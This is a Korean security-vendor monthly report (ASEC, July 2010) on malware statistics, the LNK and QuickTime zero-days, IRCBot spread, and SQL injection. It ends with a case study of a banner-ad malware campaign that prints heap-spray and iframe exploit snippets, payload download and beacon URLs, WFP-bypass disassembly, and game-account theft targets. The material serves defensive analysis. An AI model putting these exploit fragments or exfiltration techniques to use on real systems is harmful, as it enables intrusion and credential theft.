Ⅰ. 이달의보안동향 1. 악성코드동향 악성코드통계 아래표는악성코드의주요동향을파악하기위하여, 악성코드별변종을 종합한악성코드대표진단명감염보고 Top20 이다. 2010 년 7 월악성코드통계현황은다음과같다. [ 표 1-2] 악성코드대표진단명감염보고 Top 20 [ 표 1-1] 악성코드감염보고 Top 20 2010년 7월의악성코드감염보고는 TextImage/Autorun 이 1위를차지하고있으며, Win32/Induc과 JS/Exploit이각각 2위와 3위를차지하였다. 신규로 Top20 에진입한악성코드는총 8건이다. 2010년 7월의감염보고건수는 Win-Trojan/Agent 가총 924,398건으로 Top20 중 15.5% 의비율로 1위를차지하고있으며, Win-Trojan/ Downloader이 907,046건으로 2위, Win-Trojan/Onlinegamehack 이 477,348건으로 3위를차지하였다. 아래차트는고객으로부터감염이보고된악성코드유형별비율이다. [ 그림 1-1] 악성코드유형별감염보고비율 AhnLab Policy Center 4.0 세상에서가장안전한이름안철수연구소 01
2010 년 7 월의감염보고건수는악성코드유형별로감염보고건수비율은 트로잔 (TROJAN) 류가 47.4% 로가장많은비율을차지하고, 웜 (WORM) 이 11%, 스크립트 (SCRIPT) 가 10% 의비율을각각차지하고있다. 아래표는 7 월에신규로접수된악성코드중고객으로부터감염이보고 된악성코드 Top20 이다. [ 그림 1-2] 악성코드유형별감염보고전월비교 악성코드유형별감염보고비율을전월과비교하면, 스크립트 (SCRIPT), 애드웨어 (ADWARE), 드롭퍼 (DROPPER), 스파이웨어 (SPYWARE) 가전월에비해증가세를보이고있는반면트로잔 (TROJAN), 웜 (WORM), 바이러스 (VIRUS) 는전월에비해감소한것을볼수있다. 다운로더 (DOWN- LOADER), 애프케어 (APPCARE) 계열들은전월수준을유지하였다. [ 표 1-3] 신종악성코드감염보고 Top 20 7월의신종악성코드감염보고의 Top 20은 Win-Trojan/Downloader.24576.AGK가 81,181건으로전체 13.7% 를차지하여 1위를차지하였으며, Win-Trojan/Downloader.191416 가 50,568건 2위를차지하였다. [ 그림 1-3] 악성코드월별감염보고건수 7 월의악성코드월별감염보고건수는 12,357,777 건으로 6 월의악성 코드월별감염보고건수 12,367,045 건에비해 9,268 건이감소하였다. [ 그림 1-4] 신종악성코드유형별분포 7월의신종악성코드유형별분포는트로잔 (TROJAN) 이 64% 로 1위를차지하였다. 그뒤를이어애드웨어 (ADWARE) 가 21%, 다운로더 (DOWN- LOADER) 가 7% 를각각차지하였다. 악성코드이슈 AhnLab V3 MSS 이달에는작년국내에서발생했던 7.7 DDoS 건으로인하여일반적인 DDoS 관련악성코드와트래픽에도 예의주시 하면서한달을지낸것으로기억될만큼정신이없던달이였다. 해외에서는.LNK 파일에대한문제점이알려지면서이슈가되었다. 국내에서는 6월에발견된금융권사칭메일의변형이발견되었고국내유명 SNS를이용하는악성코드도 02 ASEC Report _ 2010. Vol.07
발견, 보고되었다. 또한유니코드형태의파일명을갖는악성코드도발견되었는데윈도우탐색기등에서정상적으로표시해주지않기때문에이중확장자 (*.doc.scr) 로사용될경우주의가요구된다. 또한최근의 SNS 인기에힘입어국내미투데이 (me2day) 와트위터 (twitter) 를통해유포되는악성코드가발견되었다. 7.7 DDoS 공격을돌아보며 작년국내인터넷사용에큰혼란을주었던 7.7 DDoS 공격이발생한지도 1년이지났다. 이후새로운공격이발생하지않을까많은보안업체들이촉각을곤두세우며 7월을보냈다. 다행히작년과달리소규모의공격이다시발생하는수준에그쳤다. 하지만해당공격은작년에발생한공격과동일한것이었다. 이로인하여일부매스컴에도이러한내용이보도되기도하였다. 작년의공격이다시재발하였던원인은다음과같다. [ 그림 1-6] 7 월이슈가되었던악의적인메일형태 [ 그림1-5] 2009년도를강제할당하는부분 [ 그림1-5] 을보면로컬타임을얻어와도다시 2009년으로할당하기때문에감염되어치료하지않은시스템은다시공격을수행할수가있다. 여전히백신으로치료하지않았거나하드디스크백업이미지가감염된상태에서이를다시복원한경우에는 7.7DDoS 공격이재발할수있다. 따라서, 앞으로도 7.7일이되면소규모의공격이발생할수도있을것으로추정된다. 메일을이용한형태의악성코드그두번째 7월에도어김없이메일형태로유포되는악성코드가기승을부렸다. 과거와다른것이있다면과거에는시스템에감염된매스매일러 (massmailer) 가감염된시스템에서수집한주소록이나메일주소로자신이첨부된메일을전송했었다. 지금은이러한과정은거치지않고주로 BotNet 을이용하여대량의메일을사전에수집된주소로악의적인웹페이지를유도하는내용이나난독화된스크립트가포함된 html파일을첨부하여메일을보내는것이일반적이다. 이것으로인하여감염된악성코드는자신이 BotNet 이되기도하며가짜백신이설치되거나백도어가설치되어정보유출의위험성을가지게된다. 6월한달기승을부렸던비슷한형태의악의적인메일이 7월초또다시자주목격되었다. 최근에는국내금융권을사칭하는메일이주를이루었으나이번에는온라인쇼핑몰을사칭하여악성코드설치를유도하는메일이등장하였다. 이외에도.ZIP 형태의첨부파일을포함하여 Fakeav 를설치하는경우도있었다. 이악성코드의다운로더는은폐기법을사용한루트킷을설치한다. 특히윈도우폴더에 \PRAGMA( 랜덤알파벳 10자리 ) 라는폴더를만들며이곳에루트킷을생성하고숨긴다. 과거의 mass-mailer 와는다른형태이지만여전히메일을이용하여악의적인사이트로유도하거나악성코드가첨부된메일을이용하여악성코드를유포하고있다. 사용자는실행또는열기가가능한실행파일, 문서파일과함께웹으로연결되는링크에대해서는클릭전주의가필요하다. 유니코드를포함한이중확장자주의과거일부악성코드는윈도우탐색기의보기옵션중에하나인 알려진파일형식의파일확장명숨기기 가기본값인것을악용하여이중확장자로된악성코드를메일등으로유포한적이있었다. 이런경우 악성코드.doc.scr 이란파일명인경우뒤에.scr 확장자는보여지지않기때문에문서파일로오인하고해당파일을실행할수가있었다. 이후이러한방법이알려지자더이상사용되지않았다. 최근국내에서발견된악성코드는윈도우탐색기에서유니코드로된파일명인경우정상적으로표시를해주지못한다는점을이용하여다음과같은형태의악성코드를유포한사례가확인되었다. [ 그림 1-7] 유니코드로된문자열을포함한악성코드의파일명 하지만이파일을콘솔 (CMD.EXE) 에서확인을한경우실제로는문서파일이아니라실행가능한형태인.SCR 파일이였다. 문서파일처럼생긴아이콘도조작이가능하기때문에일반사용자들은무심코실행할가능성이높다. 세상에서가장안전한이름안철수연구소 03
국산프리웨어로위장한미투데이, 트위터관련악성코드 [ 그림1-8] 유니코드로된문자열을포함한악성코드의파일명이러한이중확장자를가진파일대부분은올바르지못한의도로사용되고있으므로유사한사례를접한경우가급적해당파일을실행하지말고안티바이러스로검사하거나보안업체로신고하는것이필요하다. 사용자를유혹하는악성코드일반적인사용자들이관심과호기심을가질만한동영상을실행파일로만들어배포하는사례가지속적으로발견되고있다. 이들동영상실행파일은주로 P2P(peer to peer) 서비스, 웹하드, 인터넷게시판등을통해배포되고있다. 이는일반적인사용자들이동영상을다운로드받은후해당파일을더블클릭으로실행한다는점을악용한것이다. 이들동영상은실행파일이지만일반적으로많이사용되는동영상플레이어의아이콘모양을하고있으므로별의심없이실행하게된다. 동영상실행파일을실행하면내부에가지고있는동영상파일을윈도우기본동영상재생기를이용해보여주고그와동시에악성코드도함께설치한다. 결과적으로보면사용자는악성코드를직접실행한것이다. 이렇듯누구나관심을가질만한주제를이용하여동영상을제작하고사용자로하여금직접다운로드및실행을하게하는일종의사회공학적기법이악성코드배포에적극적으로활용되고있다. 따라서, 인터넷에서다운로드받은동영상은바로파일을더블클릭해서실행하지말고가급적동영상재생기를먼저실행한다음에 열기 를통해재생하는것이악성코드감염을예방하는차원에서큰도움이된다. 7월 30일오전국내에서제작된프리웨어프로그램을이용하여국내외대표적인 SNS사이트 ( 미투데이, 트위터 ) 를이용하여악성코드를유포하는사례가발견되었다. 이번에발견된국내에서제작된프리웨어프로그램은아래이미지와같이모기퇴치프로그램이라고명시하고있으나실제해당프로그램이실행되면윈도우시스템폴더 (C:\windows\system32) 에 ckass.dll (101,376 바이트 ) 라는 DLL 파일을생성한다. [ 그림 1-10] 국산프리웨어소프트웨어로위장한악성코드생성된 DLL 파일은아래그림과같이미투데이와트위터계정의특정페이지에접속을시도하며성공적으로접속이이루어지면해당트위터계정에서생성한트윗메시지를통해다른시스템에서특정파일을다운로드한후실행하도록되어있다. 보안제품으로위장한악성코드최근유명보안제품으로위장한악성코드가발견되었다. 이들은주로카페와같은커뮤니티사이트에서주로배포가되고있으며유명보안제품의아이콘을사용하고있다. [ 그림 1-11] 미투데이사례 [ 그림 1-9] 유명보안제품의파일명과아이콘을사용한악성코드 해당악성코드가실행되면내부에가지고있는악성코드를윈도우서비스형태로등록시켜윈도우시작시자동으로동작시키며컴퓨터의제어권을공격자에게넘기게된다. 추가로설치되는악성코드역시중국의유명보안제품의정보를사용하므로감염사실을인지하기어렵게위장하고있다. 이를예방하기위해서는새로운프로그램을설치할경우가급적해당프로그램을제작한회사의홈페이지를통해다운로드받아설치하는것이좋다. [ 그림 1-12] 국산프리웨어소프트웨어로위장한악성코드 04 ASEC Report _ 2010. Vol.07
그러나테스트할당시에는해당시스템에는파일이존재하지않았으며 2010년 5월이후로다른특정트윗명령들이존재하지않는것으로미루어해당트위터계정은더이상사용되지않는것으로추정된다. 이번국산프리웨어로위장해감염을시도하고미투데이와, 트위터를통해조정명령을수행한악성코드는 V3 제품군에서다음과같이진단한다. 악성코드침해웹사이트현황 Dropper/Twitbot.494080 Win-Trojan/Agent.101376.DG 2. 시큐리티동향시큐리티통계 7월마이크로소프트보안업데이트현황마이크로소프트사로부터발표된이번달보안업데이트는총 4건이다. [ 그림 2-2] 악성코드를배포했던침해사이트 / 배포사이트통계 [ 그림 2-2] 는월별악성코드침해사이트현황을나타낸그래프로, 전월에비해침해사이트및배포사이트가다소증가하였다.( 파란그래프 : 침해사이트, 붉은그래프 : 배포사이트 ) 7월한달동안탐지되었던침해사이트들을통해서악성코드가배포되기위해서사용되었던취약점은예전부터꾸준하게사용돼왔던MS06-014 와 Adobe사의 Acrobat Reader에존재하는 PDF취약점이많았으며 7월에는최근에보고된 MS10-042취약점을사용한악성코드배포도눈에띄게보고되어사용자들의주의와함께반드시보안업데이트를적용해주는것이필요하다. [ 그림 2-1] 공격대상기준별 MS 보안업데이트 [ 표 2-1] 2010 년 7 월주요 MS 보안업데이트 이달에는지난달 MS 보안권고문을통해알려진도움말및지원센터의취약점으로인한원격코드실행문제점에대한보안업데이트 (MS10-042) 가포함되어있다. 한편, 발표된보안업데이트들은오피스관련 2건, 시스템드라이버관련 1건으로이중에서 MS10-044 Office Access ActiveX 취약점은악용가능성이많아주의가필요하다. AhnLab V3 Internet Security 8.0 세상에서가장안전한이름안철수연구소 05
시큐리티이슈 윈도우쉘원격코드실행취약점 (CVE-2010-2568) 이달에는새로운제로데이공격취약점인윈도우쉘원격코드실행취약점이보고되었다. 해당취약점은윈도우즈쉘에서바로가기 (LNK) 파라미터에대한올바른검사를수행하지않아발생하는디자인상의오류이다. 공격자는잘조작된바로가기파일을만들어사용자가이를보도록유도한다. 이는윈도우쉘을통해바로가기아이콘을로딩하는순간에임의의코드가실행되도록만들수있다. 이것은 LNK 파일안의 Control Panel Applet 속성데이터중 Path에지정된경로의파일이 Shell에의해서 LoadLibrary로실행되어발생한다. 이취약점을이용한악성코드도발견되었는데, USB를감염시키는게주특징이라고할수있다. 실제악성바로가기파일의내부를살펴보면, 다음과같이 USB Storage를사용하도록해당코드를내포하고있다. [ 그림 2-4] PHP XML RPC library 코드실행취약점을이용한공격패킷만약웹서버가취약한버전의웹어플리케이션등을이용하고있으면유닉스 / 리눅스 IRCBot 에감염되며또한다른시스템들을공격할수있다. 유닉스 / 리눅스 IRCBot 코드에는아래와같이명령어실행및포트스캔, 그리고 DDoS 공격 (tcp/udp flooding, http flooding) 등을할수있는코드가내장되어있어주의가필요하다. [ 그림 2-3] 윈도우쉘원격코드실행취약점을내포한바로가기 (LNK) 파일 해당취약점은아직보안패치가발표되지않았으므로다음레지스트리위치의디폴트값을삭제하는방법으로바로가기아이콘디스플레이기능을해제하는것이효과적이다. 단이방법은임시방편으로반드시레지스트리키값을백업해두는것이좋다. HKEY_CLASSES_ROOT\lnkfile\shellex\IconHandler 보다자세한사항은, MS 보안권고문 1 을참고한다. 자동화된웹어플리케이션취약점을이용한유닉스 / 리눅스 IRCBot 전파최근국내네트워크에자동화된웹어플리케이션취약점을이용한유닉스 / 리눅스 IRCBot 유포공격이많이증가하고있다. 일반적으로이러한공격은외국또는국내서버의해킹된시스템에서자동화된툴또는스크립트를이용하여불특정국내웹서버등을공격하는방식이주로사용된다. 현재까지크게알려진공격은 PHP XML RPC 라이브러리코드실행취약점 (CVE-2005-1921) 및 CMS 웹어플리케이션으로알려진 e107 BB- Code PHP 코드실행취약점을이용하는것등이발견되었다. 1.http://.microsoft.com/technet/security/advisory/2286198.mspx [ 그림 2-5] 유닉스 IRCBot 코드중일부해당공격은비단 PHP XML RPC, e107 등의취약점뿐만아니라다른웹어플리케이션프로그램등의코드실행취약점들을이용하거나새로발견되는취약점들을이용할수있기때문에시스템감염전파가능성이높다고볼수있다. 이러한공격을방지 / 탐지하려면먼저웹어플리케이션프로그램들의보안패치가필요하며네트워크보안장비인 IPS/IDS 사용을고려해볼수있다. 퀵타임플레이어제로데이취약점을악용한악성코드해외시각으로 7월 30일경일부해외보안업체와해외언론을통해애플 (Apple) 사에서개발한쿽타임플레이어 (QuickTime Player) 에스택기반의버퍼오버플로우 (stack-based buffer overflow) 취약점을악용한악성코드가발견되었음이알려졌다. 현재해당퀵타임플레이어에존재하는취약점은애플사에서아직공식적으로보안패치를제공하지않는제로데이 (0-Day, Zero-Day) 취약점이다. 해당취약점과관련하여시큐니아 (Secunia) 에서는 Secunia Advisory SA40729 QuickTime Player 06 ASEC Report _ 2010. Vol.07
Streaming Debug Error Logging Buffer Overflow 보안권고문을공개하고있다. 이번에발견된해당제로데이취약점을악용하는악성코드는아래이미지와같이 MOV 확장자를가지고있는동영상파일이며파일명모두최근인기를얻고있는영화의동영상파일로위장하고있다. [ 그림 2 6] 유명영화동영상파일명으로위장한취약한 MOV 파일해당동영상파일들이실행되면아래그림과같이백그라운드로인터넷익스플로러 (Internet Explorer) 를실행시킨후특정시스템에존재하는특정파일을다운로드하도록하고있다. 3. 웹보안동향 웹보안통계웹사이트보안요약 [ 표 3-1] 웹사이트보안요약 악성코드발견건수는 100,682건이고, 악성코드유형은 740건이며, 악성코드가발견된도메인은 708건이며, 악성코드발견된 URL은 3,112 건이다. 2010년 7월은 2010년 6월보다악성코드발견 건수, 악성코드유형, 악성코드가발견된도메인, 악성코드발견된 URL 은다소감소하였다. 월별악성코드발견건수 [ 그림 2-7] 취약한 MOV 파일실행시백그라운드로인터넷익스플로러가접속을시도 다운로드된 Music_Installer.exe (208,896 바이트 ) 파일이실행되면감 염된시스템에서하드웨어정보와개인정보들을외부로유출하게된다. [ 그림 3-1] 월별악성코드발견건수 2010 년 7 월악성코드발견건수는전달의 173,283 건에비해 58% 수준 인 100,682 건이다. 월별악성코드유형 [ 그림 2-8] 취약한버전의퀵타임플레이어에의해다운로드된악성코드 현재 ASEC에서는이번에발견된제로데이취약점과이를악용하는악성코드들에대한상세한분석을진행중에있으며취약점을악용한악성코드들은 V3 제품군에서다음과같이진단한다. Win-Trojan/Quicktm Win-Trojan/MDrop.208896 ASEC에서현재까지파악한바로는해당취약점을악용한악성코드의급격한증가나악용사례가발견되지않고있으나애플사에서관련보안패치를제공할때까지는 MOV 확장자를가진동영상파일을퀵타임플레이어로실행하는것에대해주의를기울일필요가있다. [ 그림 3-2] 월별악성코드유형 2010 년 7 월악성코드유형은전달의 897 건에비해 82% 수준인 740 건이다. 세상에서가장안전한이름안철수연구소 07
월별악성코드가발견된도메인 [ 그림 3-5] 악성코드유형별배포수 [ 그림 3-3] 월별악성코드가발견된도메인 악성코드배포 Top 10 2010 년 7 월악성코드가발견된도메인은전달의 818 건에비해 87% 수 준인 708 건이다. 월별악성코드가발견된 URL [ 표 3-3] 악성코드배포 Top 10 [ 그림 3-4] 월별악성코드가발견된 URL 2010년 7월악성코드가발견된 URL은전달의 3,738건에비해 83% 수준인 3,112건이다. 악성코드유형별배포수 악성코드배포 Top10에서 Win-Trojan/Downloader.518657 이 24,328 건으로 1위를차지하였으며, Top10에 Win-Trojan/Downloader.518657 등 4건이새로등장하였다. 웹보안이슈 OWASP 2010 TOP1 이번호부터는 Vol.6에개괄적으로살펴보았던 OWASP 2010 Top10 을하나씩자세히살펴보도록하겠다. 그첫번째시간으로 OWASP 2010 Top 1인인젝션 (Injection) 공격에대해서알아보자. 먼저인젝션공격의주요사항은다음의그림을통해알수있다. [ 표 3-2] 악성코드유형별배포수악성코드유형별배포수에서 ADWARE류가 46,203건전체의 45.9% 로 1위를차지하였으며, TROJAN류가 37,229건으로전체의 37% 로 2 위를차지하였다. [ 그림 3-6] 취약한버전의퀵타임플레이어에의해다운로드된악성코드 1) 주요내용 Threat Agents( 공격자 ) : 내, 외부사용자, 관리자를포함하여시스템에신뢰할수없는데이터를보낼수있는사람들을말한다. Attack Vectors( 공격경로 ) : 공격자는목표가된인터프리터구문을악용 08 ASEC Report _ 2010. Vol.07
하는간단한텍스트기반의공격을전송한다. 거의모든데이터의소스는내부소스를포함해서인젝션공격을위한경로로활용될수있다. 따라서인젝션은공격으로악용되기가쉽다 (Exploitability EASY) Security Weakness( 보안취약점 ) : 인젝션결함은어플리케이션이인터프리터로신뢰할수없는데이터를보낼때발생한다. 인젝션결함은매우일반적이며, SQL 질의, LDAP 질의, XPath 질의, OS명령어, 프로그램인수등에서자주발견된다. 코드검증을하면인젝션결함은발견하기쉽지만, 테스트를통해서발견하기는어렵다. 스캐너와 Fuzzer는공격자가인젝션결함을발견하는데도움이될수있다. 따라서, 보안취약점의알려진정도는보통 (Prevalence COMMON) 이고, 탐지용이도도보통 (Detectability AVERAGE) 인것으로조사되었다. Technical Impacts( 기술적영향 ) : 인젝션의공격의결과는데이터손실과파괴, 책임추적성결여, 또는서비스거부가될수있다. 때로는인젝션으로호스트가완전히장악당할수도있다. 따라서, 비즈니스영향도는심각 (Impact SEVERE) 한수준이다. Business Impacts( 비즈니스영향 ) : 영향을받는데이터와인터프리터를운영하는플랫폼의비즈니스적가치를고려해야된다. 모든데이터가도둑맞거나, 조작되거나, 또는삭제되었을때당신의명성이훼손될수있다는점을유의하기바란다. 2) 인젝션공격예이어플리케이션은아래와같이취약한 SQL 호출문을작성할때신뢰할수없는데이터를사용한다. String query= SELEC * FROM accounts WHERE custid= +request.getparameter( id )+ ; 나. 변수화된 API를사용할수없는경우 A. 인터프리터용 Escape 구분을사용해특수문자를신중하게처리해야함지금까지 OWASP 2010 TOP1인인젝션에대해알아보았다. 아래는관련참조자료로많은활용바란다. [[Reference]] OWASP -OWASP SQL Injection Prevention Cheat Sheet -OWASP Injection Flaws Article -ESAPI Encoder API -ESAPI Input Validation API -ASVS: Output Encoding/Escaping Requirements (V6) -OWASP Testing Guide: Chapter on SQL Injection Testing -OWASP Code Review Guide: Chapter on SQL Injection -OWASP Code Review Guide: Command Injection External -CWE Entry 77 on Command Injection -CWE Entry 89 on SQL Injection 공격자는브라우저에서 id 변수를 or 1 = 1로변경한다. 그결과이질의는해당고객계정데이터베이스만반환하라는의미대신에, 계정데이터베이스로부터모든레코드를반환하라는의미로변경된다. http://example.com/app/accountview?id= or 1 = 1 최악의경우, 공격자는이취약점을이용해데이터베이스의 Stored Procedure를호출해데이터베이스호스트를전면장악할수있다. 3) 대응책인젝션을방지하려면신뢰할수없는데이터를명령어와질의로부터항상분리해야한다. 가. 선호되는방법으로는, A. 인터프리터사용을전면금지 B. 변수화된인터페이스를제공하는안전한 API를사용 C. 특히 Stored Procedures와같이변수화되었지만인젝션을유발할수있는 API 사용시주의 AhnLab V3Net for Windows Server 7.0 세상에서가장안전한이름안철수연구소 09
Ⅱ. 칼럼 1. 침해사이트 Case Study: 배너광고사이트를통한악성코드유포사례 평일보다주말에윈도우정상파일인 imm32.dll이변조된사례가고객들에게서다수접수된다는것이특이하여자체확인해본결과국내다수의사이트에서 imm32.dll을패치하는악성코드를유포중임을확인할수있었고해당사이트들을분석해본결과 2가지의공통점을발견할수있었다. 첫째, 해당사이트들에는아래 2 개의악성스크립트를다운로드하는링 크가삽입되어있었다. http://210.***.***.241/hong/ro**.html http://xdf.*****caiinfo:801/ro**.html [ 그림 4-2] 배너광고업체가제공한배너광고를경유한악성코드유포 둘째, 해당사이트들은특정배너광고업체에서제공하는배너광고를사용하고있었다. 즉특정배너광고업체에서제공한배너광고에악성코드를유포하는악성스크립트가삽입되어있었고, 제공된배너를사용했던업체들은자신들의사이트들이자체적으로취약하지않았더라도악성스크립트가삽입된배너에의해서악성코드를유포했던사이트들로전략했던것이다. [ 그림 4-2] 에설명된형식이라면악성코드를유포하기위해서힘들게취약한사이트들을찾고공격하지않더라도짧은시간안에가능한많은악성코드유포를할수있는효과를얻을수있다. 그렇기때문에사이트관리자들은자신들의사이트가취약하지않더라도외부로부터제공받아사용하는콘텐츠들에대해서보안측면에서면밀히검토해볼필요가있다. 주의환기차원에서이번사례에대해서상세분석을진행했다. [ 그림 4-1] 배너광고에삽입되었던악성 iframe 링크 [ 그림 4-3] log***.co.kr 사이트의메인화면 지금까지확인된배너광고업체는총두곳이며, 언급한내용을도식화 해보면아래와같다. [ 그림 4-4] 악성스크립트가삽입된관련스크립트 [ 그림 4-4] 에표시된자바스크립트내부에는악성스크립트가삽입되어 있으며해당악성스크립트가실행되면서 imm32.dll 을패치하는악성코 드를설치하기위한사이트로접속을하게된다. 10 ASEC Report _ 2010. Vol.07
[ 표 4-1] 삽입된악성스크립트복호화지금부터복호화된 ro**.html이실행되었을때진행되는세부과정에대해서분석해보도록하겠다. http://210.***.***.241/hong/ro**.html L http://210.***.***.241/hong/cool.html L http://210.***.***.241/hong/i6.htm L http://210.***.***.241/hong/i7.htm L http://210.***.***.241/hong/ko1.htm L http://210.***.***.241/hong/ko2.htm [ 표 4-2] ro**.html이실행되었을때접근하는하위 URL function anheiwangmaya(){ OnLyAnHeIWmUp(); var WoAiAnHeYwM = document.createelement( bo + dy ); WoAiAnHeYwM.addBehavior( #def + ault#userdata ); document.appendchild(woaianheywm); try { for (AnHeYsIzE=0; AnHeYsIzE<10; AnHeYsIzE++) { WoAiAnHeYwM.setAttribute( s,window); [ 표 4-4] i6.htm 코드일부 다음은인터넷익스플로러 7 버전을사용할시접속하는 i7.htm 코드로, 해당코드역시 i6.htm 과마찬가지로같은취약점 (Microsoft Internet Explorer iepeers.dll Use-after-free Vulnerability (MS10-018)) 을사 용하고있다. 먼저 cool.htm 에대해간략하게확인을해보면, 아래는 cool.htm 페이지 의일부코드로 User Agent 값을확인하여인터넷익스플로러의버전이 6 버전이면 i6.htm, 7 버전이면 i7.htm 파일을로딩하는것을알수있으며, 그외에 ko1.htm, ko2.htm 은기본적으로로딩함을알수가있다. document.writeln( document.write(\ <iframe src=ko1.htm width=124 height=1><\/iframe>\ ); ); document.writeln( if(navigator.useragent.tolowercase().indexof( msie 6 )>0) { ); document.writeln( document.write(\ <iframe width=126 height=111 src=i6. htm><\/iframe>\ );} ); document.writeln( if(navigator.useragent.tolowercase().indexof( msie 7 )>0) { ); document.writeln( document.write(\ <iframe src=i7.htm width=126 height=111><\/iframe>\ );} ); document.writeln( document.write(\ <iframe src=ko2.htm width=124 height=1><\/iframe>\ ); ); [ 표 4-3] cool.htm의일부코드 cool.htm 파일이다운로드된 PC 에서인터넷익스플로러 6 버전을사용할 경우다운로드되는 i6.htm 의코드를분석해보면아래와같다. 해당페 이지에서이용하는취약점은 Microsoft Internet Explorer iepeers.dll Use-after-free Vulnerability (MS10-018) 이다. * 참고사이트 : 한글 : http://www.microsoft.com/korea/technet/security/bulletin/ms10-018.mspx 영문 : http://www.microsoft.com/technet/security/bulletin/ms10-018.mspx function ahhswm() { var d=document.createelement( D + IV ); d.addbehavior( #default#userdata ); document.appendchild(d); try{for (i=0;i<10;i++) {d.setattribute( s,window);}} catch(e){} window.status+= ; } var memory; var temptest = decodeuri(,sun,0c0c,sun,0c0c ); var nop=window[ unescape ](temptest.replace(/,sun,/g, %u )); var SC=sc(); var xcode=code()-sc.length*2; while(nop[ length ] <= xcode) nop+=nop; nop=nop.substring(0,xcode - SC.length); memory=new Array(); for(i=0;i<0x100;i++){memory[i]=nop + SC;} [ 표 4-5] i7.htm 코드일부 다음은 ko1.htm 의코드를분석해보겠다. 해당파일은 Adobe Flash 취 약점 (CVE-2009-1862) 을사용한다. * 참고사이트 : http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2009-1862 document.writeln( var ff=new window[\ ActiveXObject\ ]( Shockwave- Flash.ShockwaveFlash );} ); document.writeln( catch(f){}; ); document.writeln( finally{if(f!=\ [object Error]\ ){aabb = \ <iframe src=kof.htm width=123 height=111><\/iframe>\ ; ); document.writeln( document.write(aabb);}} ); document.writeln( ); [ 표 4-6] ko1.htm 코드일부 세상에서가장안전한이름안철수연구소 11
끝으로 ko2.htm의코드를분석해보면해당파일이사용하는취약점은 Microsoft Office Web Components (Spreadsheet) ActiveX BOF (MS09-043) 이다. * 참고사이트 : 한글 : http://www.microsoft.com/korea/technet/security/bulletin/ms09-043.mspx 영문 : http://www.microsoft.com/technet/security/bulletin/ms09-043.mspx 지금까지분석한악성스크립트파일들에대해서정리해보면해당스크립들은비교적최근에보고된취약점을이용하고악성코드들이자주사용해왔다. 따라서, 사용자들이 PC를사용할때편리함뿐만아니라 PC 에서발생할수있는보안문제도신경써야된다는것을보여주는예로볼수있다. 앞선취약점분석에서 PC에어떤취약점이존재하면악성코드에감염되는지살펴보았고지금부터유포된악성코드에대해서분석해보도록하겠다. 그전에유포된악성코드의전체적인동작구조를살펴보면아래그림과같다. 을생성한다. 7~8. 패치하기전에 imm32.dll.log로정상파일을백업하고 imm32.dll 패치를수행한다. 9. imm32.dll은윈도우의시스템파일이며 WFP(Windows File Protection) 의모니터링대상이므로 s2.exe는 imm32.dll를패치하기전에 sfc_os.dll에서특정파일에대해서 1분간 WFP를무력화할수있는함수 (#5) 를사용하여 imm32.dll에대해서 WFP를일시적으로무력화한다. LoadLibraryA() : sfc_os.dll의 ImageBase 얻기 00401C81. 68 EC614000 push 004061EC ; /FileName = sfc_os.dll 00401C86. 66:AB stos word ptr es:[edi] ; 00401C88. FF15 34404000 call dword ptr [<&KERNEL32.LoadLibrar>; \ LoadLibraryA GetProcAddress() : sfc_os.dll에서 Undocumented API #5의 RVA값얻기 00401C8E. 6A 05 push 5 ; /ProcNameOrOrdinal = #5 00401C90. 50 push eax hmodule = 76C10000 (sfc_os), sfc_os.dll의 ImageBase 00401C91. FF15 30404000 call dword ptr [<&KERNEL32.GetProcAdd>; \ GetProcAddress SfcFileException() : imm32.dll에대해서 1분동안윈도우파일보호 (WFP) 기능무력화 00401CC0. 50 push eax ; eax = C:\WINDOWS\system32\imm32. dll ) 00401CC1. 6A 00 push 0 00401CC3. FFD6 call esi ; esi = 76C19496 [ 그림 4-5] 악성코드의동작구조 (sfc_os.#5), SfcFileException() 의 RVA [ 표 4-7] imm32.dll 에대해서 WFP(Windows File Protection) 무력화코드 1. Exploit 스크립트에의해서 h**p://210.***.***.236/top/x7.exe 다운로드한다. 2. 다운로드된 x7.exe는 %PROGRAMFILE%\Common Files \Safe- Drv.exe로저장되고실행된다. 10. 정상 %SYSTEM%\imm32.dll을 %SYSTEM%\imm32.dll.log로백업해두고패치작업을수행한다. 그리고 1분이경과하면윈도우에서는패치된 imm32.dll를 WFP로보호한다. 즉패치된 imm32.dll을정상윈도우파일로인식하게된다. 3. 감염 PC 의현황파악을위해서감염 PC 의일부정보를수집해서전 송한다. 감염 pc의정보전송 : http://www.tv****.com(kr) /count.asp?mac=[mac 주소 ]&Os=[OS버전]&Ver=[ 악성코드의버전 ]&Key=[ 감염PC에서생성된키 ] 4. h**p://210.***.***.236/top/s2.exe 를 %PROGRAMFILE%\s2.exe 로다운로드하고실행한다. 5~6. s2.exe 실행하면 [ 그림 2-7] 에보여진함수들을사용하여 DLL [ 그림 4-6] 패치된 imm32.dll의섹션정보 [ 그림 4-6] 에서보는것처럼패치된 imm32.dll에는.sy32라는섹션이추가되어있음을알수가있는데, 해당섹션의기능은특정프로세스에서패치된 imm32.dll을로딩할때게임핵악성코드인 ole.dll를자동으로로딩하게하는아주단순한역할을한다. 12 ASEC Report _ 2010. Vol.07
11. ole.dll 은특정온라인게임사용자의계정정보를탈취하여특정 URL 로전송하는역할을수행하는데, 이번에유포된 s2.exe 에의해서생성된 ole.dll 의계정정보탈취대상은아래와같다. www.ha*****.com / www.sev*******online.co.kr / *****uls.ha*****.com / www.p*****.com st*****word= / st****il= / c*****ail= / l****.bin / l****2.bin / d*****.exe / iexplore.exe / ****story.exe ****es.exe / game.exe / launcher.exe [ 표 4-8] 계정정보탈취대상리스트 일반적으로게임핵악성코드에서탈취한계정정보를유출하기위해서 사용되는 URL 은암호화되어있으며 ole.dll 에서는아래복호화루틴을사 용하여암호화된 URL 을복호화한다. 00BC1058 56 push esi 00BC1059 8B7424 08 mov esi, dword ptr [esp+8] ; 암호화된 URL 의시작주소 00BC105D 803E 00 cmp byte ptr [esi], 0 00BC1060 74 1C je short 00BC107E 00BC1062 8A06 mov al, byte ptr [esi] 00BC1064 837C24 0C 00 cmp dword ptr [esp+c], 0 00BC1069 50 push eax 00BC106A 74 07 je short 00BC1073 00BC106C E8 8FFFFFFF call 00BC1000 00BC1071 EB 05 jmp short 00BC1078 00BC1073 E8 B4FFFFFF call 00BC102C 00BC1078 8806 mov byte ptr [esi], al ; 복호화된 URL 이저장되는주소 00BC107A 59 pop ecx 00BC107B 46 inc esi 00BC107C ^ EB DF jmp short 00BC105D [ 표 4-9] 복호화루틴 